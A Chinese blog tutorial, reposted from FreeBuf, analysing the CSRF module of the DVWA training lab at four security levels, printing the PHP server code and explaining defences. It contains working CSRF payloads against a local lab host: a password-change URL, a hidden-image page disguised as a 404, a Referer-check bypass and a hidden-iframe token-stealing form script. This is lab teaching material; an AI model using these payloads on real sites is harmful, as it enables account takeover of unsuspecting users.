DVWA之CSRF

CSRF(Cross-site request forgery)

CSRF,全稱Cross-site request forgery,翻譯過來就是跨站請求偽造,是指利用受害者尚未失效的身份認證信息(cookie、會話等),誘騙其點擊惡意鏈接或者訪問包含攻擊代碼的頁面,在受害人不知情的情況下以受害者的身份向(身份認證信息所對應的)服務器發送請求,從而完成非法操作(如轉賬、改密等)。CSRF與XSS最大的區別就在于,CSRF并沒有盜取cookie而是直接利用。在2013年發布的新版OWASP Top 10中,CSRF排名第8。

下面對四種級別的代碼進行分析。

Low

服務器端核心代碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,服務器收到修改密碼的請求后,會檢查參數password_new與password_conf是否相同,如果相同,就會修改密碼,并沒有任何的防CSRF機制(當然服務器對請求的發送者是做了身份驗證的,是檢查的cookie,只是這里的代碼沒有體現= =)。

漏洞利用

1、構造鏈接

A) 最基礎的:

http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

當受害者點擊了這個鏈接,他的密碼就會被改成password(這種攻擊顯得有些拙劣,鏈接一眼就能看出來是改密碼的,而且受害者點了鏈接之后看到這個頁面就會知道自己的密碼被篡改了)

需要注意的是,CSRF最關鍵的是利用受害者的cookie向服務器發送偽造請求,所以如果受害者之前用Chrome瀏覽器登錄的這個系統,而用搜狗瀏覽器點擊這個鏈接,攻擊是不會觸發的,因為搜狗瀏覽器并不能利用Chrome瀏覽器的cookie,所以會自動跳轉到登錄界面。

有人會說,這個鏈接也太明顯了吧,不會有人點的,沒錯,所以真正攻擊場景下,我們需要對鏈接做一些處理。

B) 我們可以使用短鏈接來隱藏URL(點擊短鏈接,會自動跳轉到真實網站):

http://dwz.cn/****

因為本地搭的環境,服務器域名是ip所以無法生成相應的短鏈接= =,實際攻擊場景下只要目標服務器的域名不是ip,是可以生成相應短鏈接的。

需要提醒的是,雖然利用了短鏈接隱藏url,但受害者最終還是會看到密碼修改成功的頁面,所以這種攻擊方法也并不高明。

C) 構造攻擊頁面

現實攻擊場景下,這種方法需要事先在公網上傳一個攻擊頁面,誘騙受害者去訪問,真正能夠在受害者不知情的情況下完成CSRF攻擊。這里為了方便演示(才不是我租不起服務器= =),就在本地寫一個test.html,下面是具體代碼。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>

當受害者訪問test.html時,會誤認為是自己點擊的是一個失效的url,但實際上已經遭受了CSRF攻擊,密碼已經被修改為了hack。

Medium

服務器端核心代碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    mysql_close();
}

?> 

相關函數說明

int eregi(string pattern, string string)

檢查string中是否含有pattern(不區分大小寫),如果有返回True,反之False。

可以看到,Medium級別的代碼檢查了保留變量 HTTP_REFERER(http包頭的Referer參數的值,表示來源地址)中是否包含SERVER_NAME(http包頭的Host參數,及要訪問的主機名,這里是192.168.153.130),希望通過這種機制抵御CSRF攻擊。

漏洞利用

過濾規則是http包頭的Referer參數的值中必須包含主機名(這里是192.168.153.130)

我們可以將攻擊頁面命名為192.168.153.130.html(頁面被放置在攻擊者的服務器里,這里是10.4.253.2)就可以繞過了

下面是Burpsuite的截圖

Referer參數完美繞過過濾規則

密碼修改成功

High

服務器端核心代碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,High級別的代碼加入了Anti-CSRF token機制,用戶每次訪問改密頁面時,服務器會返回一個隨機的token,向服務器發起請求時,需要提交token參數,而服務器在收到請求時,會優先檢查token,只有token正確,才會處理客戶端的請求。

漏洞利用

要繞過High級別的反CSRF機制,關鍵是要獲取token,要利用受害者的cookie去修改密碼的頁面獲取關鍵的token。

試著去構造一個攻擊頁面,將其放置在攻擊者的服務器,引誘受害者訪問,從而完成CSRF攻擊,下面是代碼。

<script type="text/javascript">    function attack()  {   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;  document.getElementById("transfer").submit();   }</script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe> <body onload="attack()">  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">   <input type="hidden" name="password_new" value="password">    <input type="hidden" name="password_conf" value="password">   <input type="hidden" name="user_token" value="">  <input type="hidden" name="Change" value="Change">   </form></body>

攻擊思路是當受害者點擊進入這個頁面,腳本會通過一個看不見框架偷偷訪問修改密碼的頁面,獲取頁面中的token,并向服務器發送改密請求,以完成CSRF攻擊。

然而理想與現實的差距是巨大的,這里牽扯到了跨域問題,而現在的瀏覽器是不允許跨域請求的。這里簡單解釋下跨域,我們的框架iframe訪問的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服務器192.168.153.130上,而我們的攻擊頁面位于黑客服務器10.4.253.2上,兩者的域名不同,域名B下的所有頁面都不允許主動獲取域名A下的頁面內容,除非域名A下的頁面主動發送信息給域名B的頁面,所以我們的攻擊腳本是不可能取到改密界面中的user_token。

由于跨域是不能實現的,所以我們要將攻擊代碼注入到目標服務器192.168.153.130中,才有可能完成攻擊。下面利用High級別的XSS漏洞協助獲取Anti-CSRF token(因為這里的XSS注入有長度限制,不能夠注入完整的攻擊腳本,所以只獲取Anti-CSRF token)。

這里的Name存在XSS漏洞,于是抓包,改參數,成功彈出token

注入代碼如下

Impossible

服務器端核心代碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = mysql_real_escape_string( $pass_curr );
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,Impossible級別的代碼利用PDO技術防御SQL注入,至于防護CSRF,則要求用戶輸入原始密碼(簡單粗暴),攻擊者在不知道原始密碼的情況下,無論如何都無法進行CSRF攻擊。
原帖地址:http://www.freebuf.com/articles/web/118352.html

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,501評論 6 544
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 99,673評論 3 429
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 178,610評論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,939評論 1 318
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,668評論 6 412
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 56,004評論 1 329
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 44,001評論 3 449
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 43,173評論 0 290
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,705評論 1 336
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,426評論 3 359
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,656評論 1 374
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,139評論 5 364
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,833評論 3 350
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,247評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,580評論 1 295
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 52,371評論 3 400
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,621評論 2 380

推薦閱讀更多精彩內容